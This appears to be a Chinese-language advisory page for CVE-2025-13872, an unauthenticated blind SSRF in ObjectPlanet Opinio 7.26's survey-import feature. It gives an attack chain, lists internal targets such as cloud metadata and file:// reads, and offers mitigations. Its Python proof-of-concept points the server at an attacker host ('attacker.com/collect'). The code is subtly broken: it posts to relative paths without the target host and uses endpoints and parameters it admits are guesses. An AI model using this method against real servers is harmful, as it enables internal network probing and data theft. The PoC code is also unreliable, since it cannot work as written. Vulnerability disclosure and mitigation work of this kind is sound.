IPBUF安全漏洞报告
English
CVE-2025-13872 CVSS 9.1 严重

CVE-2025-13872: ObjectPlanet Opinio 7.26 盲SSRF漏洞

披露日期: 2025-12-02
来源: 64c5ae8f-7972-4697-86a0-7ada793ac795

漏洞信息

漏洞编号
CVE-2025-13872
漏洞类型
Blind SSRF(服务器端请求伪造)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ObjectPlanet Opinio 7.26 rev12562

相关标签

Blind SSRF服务器端请求伪造ObjectPlanet OpinioCVE-2025-13872无需认证远程利用Web应用漏洞CVSS 9.1调查问卷系统内网探测

漏洞概述

CVE-2025-13872是ObjectPlanet公司开发的Opinio调查问卷系统中的一个严重安全漏洞,CVSS评分高达9.1分(满分10分)。该漏洞位于survey-import(调查问卷导入)功能模块中,是一种Blind Server-Side Request Forgery(盲服务端请求伪造)漏洞。攻击者无需任何认证凭证,即可利用此漏洞强制服务器向任意指定的目标地址发起HTTP GET请求。由于是盲SSRF,攻击者无法直接获取请求响应内容,但可以通过时间延迟或外部系统日志等方式验证攻击效果。此漏洞影响基于Web的平台,攻击者可以通过网络远程利用,对服务器的机密性和完整性造成严重影响。攻击成功后,攻击者可能利用该漏洞进行内网探测、读取内部资源、绕过防火墙访问受限服务、或对内部系统发起进一步攻击。由于该漏洞利用无需用户交互且无需认证,因此在实际环境中具有极高的威胁性,建议立即采取修复措施。

技术细节

该漏洞源于ObjectPlanet Opinio 7.26版本的survey-import功能对用户输入验证不足。攻击者可以通过构造特制的导入请求,在请求参数中指定任意URL作为数据源。当服务器处理该导入请求时,会直接使用攻击者提供的URL发起HTTP GET请求,而不会对URL进行安全校验或限制。攻击者通常选择内部网络地址(如192.168.x.x、10.x.x.x、127.0.0.1)作为目标,以探测内网服务或访问本应受限的内部资源。由于是Blind SSRF,服务器会在后台发起请求但不会将响应内容返回给攻击者,攻击者需要通过时间延迟(如目标服务响应缓慢)、DNS日志、或第三方服务日志等方式确认请求是否成功发送。常见的利用场景包括:端口扫描(通过响应时间判断端口开放状态)、读取本地文件(通过file://协议)、访问内部API、窃取云元数据(如AWS 169.254.169.254)等。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站上运行的ObjectPlanet Opinio版本,确认是否为7.26或更早版本
STEP 2
步骤2: 定位漏洞点
攻击者访问survey-import功能模块,找到可用于注入恶意URL的输入参数
STEP 3
步骤3: 构造恶意请求
攻击者构造包含目标URL(如内网地址或外部服务器)的特制导入请求
STEP 4
步骤4: 发送攻击请求
攻击者向目标服务器的survey-import端点发送构造的HTTP请求
STEP 5
步骤5: 服务器发起SSRF请求
目标服务器解析请求参数,使用攻击者指定的URL向外部或内部资源发起HTTP GET请求
STEP 6
步骤6: 验证攻击效果
攻击者通过时间延迟、DNS日志、第三方服务日志等方式确认请求是否成功发送
STEP 7
步骤7: 横向移动或数据窃取
根据获取的信息,攻击者可能进一步探测内网、读取敏感数据或发起后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13872 PoC - Blind SSRF in ObjectPlanet Opinio 7.26 # Target: ObjectPlanet Opinio survey-import feature def exploit_ssrf(target_url, attackercontrolled_url): """ Exploit Blind SSRF vulnerability in survey-import feature target_url: Base URL of vulnerable Opinio installation attackercontrolled_url: URL to be requested by server (e.g., internal service) """ # Construct the malicious import request endpoint = f"{target_url.rstrip('/')}/surveyimport" # Common Opinio import endpoints endpoints_to_try = [ "/surveyimport", "/import/survey", "/admin/surveyimport", "/surveys/import" ] headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; SSRF-Test-Bot)" } # The payload exploits the import feature to trigger SSRF # Adjust parameters based on actual application behavior payload = { "importSource": attackercontrolled_url, "importType": "survey", "action": "import" } for endpoint in endpoints_to_try: try: print(f"[*] Trying endpoint: {endpoint}") response = requests.post( endpoint, data=payload, headers=headers, timeout=10, verify=False ) print(f"[+] Request sent to {attackercontrolled_url} via {endpoint}") print(f" Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error with {endpoint}: {str(e)}") return True if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13872-poc.py <target_url> <attacker_url>") print("Example: python cve-2025-13872-poc.py http://vulnerable-server.com http://attacker.com/collect") sys.exit(1) target = sys.argv[1] attacker_url = sys.argv[2] print(f"[*] CVE-2025-13872 - Blind SSRF in ObjectPlanet Opinio 7.26") print(f"[*] Target: {target}") print(f"[*] Attacker-controlled URL: {attacker_url}") exploit_ssrf(target, attacker_url)

影响范围

ObjectPlanet Opinio 7.26 rev12562 及更早版本

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用或限制survey-import功能的使用,仅允许管理员访问;2)在Web应用层实施输入验证,过滤所有包含外部URL的请求参数;3)配置网络防火墙规则,阻止Web服务器对内网地址的出站连接;4)使用云服务提供商的VPC或安全组功能限制出站流量;5)启用详细的访问日志和监控,及时发现异常的服务器端请求行为。建议在完成修复前密切监控相关日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表